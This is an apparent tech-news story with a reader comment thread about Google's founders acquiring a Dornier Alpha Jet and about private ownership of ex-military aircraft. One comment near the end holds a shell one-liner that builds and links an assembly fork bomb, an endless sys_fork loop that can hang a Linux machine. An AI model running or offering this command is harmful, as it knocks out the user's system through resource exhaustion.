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Google Founders Buy Fighter Jet
Ponca City, We love you writes "The NY Times reports that H211 LLC, a company controlled by Google's top executives, including billionaire founders Larry Page and Sergey Brin, appears to have added to its fleet a Dornier Alpha Jet, a light jet attack and advanced trainer aircraft manufactured by Dornier of Germany and Dassault-Breguet of France. The 1982 Alpha-Jet seats two and was originally used by European air forces, but is now being sold relatively cheaply to civilians. The jet has landing rights at Moffett Field, the NASA-operated airfield that is a stone's throw from the Google campus. It is not clear who exactly flies the fighter jet, although Google chief executive Eric Schmidt is an avid pilot. If the top Googlers indeed own the fighter jet, they would be following in the footsteps of Oracle chief executive Larry Ellison, who has owned several aircraft, including fighter jets."
This isn't a big deal, Bob Lutz (Vice Chairman of GM, Retired Marine Aviator) owned a MiG i think, and now flies around in a Czech fighter.
Jack Roush (NASCAR owner, head of Roush Industries) owns a bunch of WWII fighters.
The odd part is that the Google guys seem to have bought it through some company.
This is beyond the realm of reality so cut me some slack...
Corporations (or their top execs) are starting to buy military hardware. Do you think we will ever see a corporation declare war on another corporation?
Gives a whole new meaning to hostile takeover...
There was a former Czech air force MIG-21 for sale on Ebay a couple weeks ago with a "buy it now" price of only $45K. The aircraft was located in Ohio and was in ready-to-fly restored condition, and is actively flown in air shows. While the purchase price was cheap, it is hideously expensive to operate a MIG-21. A half-hour flight consumes almost $2000 worth of Jet-A fuel. Also a MIG-21 can only carry about two hour's worth of fuel onboard anyway. The engine in it has to be overhauled at a cost of over $100K about every 250 hours of flight time too, since Russian jet engines are built with such loose mechanical tolerances in the moving parts.
It's very easy to pounce on her for having the RNC spend $150,000 on a freaking wardrobe. This isn't Barbie we're dressing here, it's an Alaskan governor that ought to have already had a wardrobe for that office. Even the top women execs I know don't have a budget like that. It takes her from where she was to some sort of 'star' status, rather than a prudent user of political funds. I wonder aloud if they'd have paid for a boob job should she have needed one.
It's imprudent, and grandiose.
---- Teach Peace. It's Cheaper Than War.
The Kirlin family runs one of the world's the largest chains of Hallmark cards and gifts franchises (Kirlin's Hallmark stores, based out of Quincy, Illinois). Two sons of founder Dale Kirlin Sr. (Dale Jr. and Gary) went into the family business.
The other son, Don Kirlin, pursued an aviation career with the US Navy and Us Airways before he started Red Air which is a company also based out of Quincy, IL. Don has lived in Quincy, in Boulder, Colorado, and also in Kyrgyzstan while working on acquiring a former Soviet fighter.
Red Air operates a fleet of Mig, Alpha, and Vodochody fighter aircraft in training maneuvers with US and Canadian fighter groups. Their former USAF and US Navy flight instructors flying foreign-built fighters make for a much more realistic training scenario than simulators or flying US aircraft against other US aircraft.
If you have the cash, the licenses, and the desire then check out his foreign fighter and trainer sales business, Air USA. Weapons systems are not included, of course.
Don's also the man behind the World Free Fall Convention, which brought visitors from every state and 70 foreign countries to Quincy, IL and Rantoul, IL for 17 years and featured during that time over 600,000 jumps. Jump platforms included everything from a B-17 bomber to the Family Channel blimp. Even a Super Constellation and a Boeing 727 have been featured.
So if you really want to talk about privately held air power, Oracle and Google take a back seat to the black sheep son of a greeting card and gift store magnate.
That just means you need to bomb them again. Many military theologians interpret the smitings in the Old Testament as an airpower-centric and profoundly interventionist foreign policy on the part of the Almighty.
Seriously I read an article in a left of centre British paper interviewing people from an Afghan village that was peaceful until the Taliban arrived and set up shop. The Taliban terrorised people, mostly women, but they also beat a few of the men to death until the villagers stopped doing anything they objected to. Which was pretty munch anything. At the start of the US invasion the house the Taliban had commandeered was suddenly blown to bits by a 2000lb laser guided bomb from a US fighter. The Taliban were all either killed or left, no one knew for sure, but in any case the village was free of their alien influence one morning and minus one house.
The coolest part was at the end when one of the Afghans pointed to the contrails from a B52 flying overhead and said that so long as they were on the prowl, the Taliban would not come back and life would be good.
If it carried on for long enough, maybe people would regard the aircraft overhead a bit like an awesomly powerful deity with an inexplicable fondness for womens rights. Come to think of it, the Old Testament God had inexplicable preferences too. Perhaps Gods need to be both ultra powerful and hard to understand to make people worship them and not their competitors.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Just because you can fit two rockets and a machine gun on an Alpha Jet doesn't make it really a fighter jet. You can also mount a machine gun and a rocket launcher on a truck, but that doesn't mean that every truck is a combat engine.
Alpha jets were used mainly for pilot training, for observation flights and sometimes (they are two-seated!) as some kind of very fast air-cab. They are not armoured, so their combat value is nearly nil.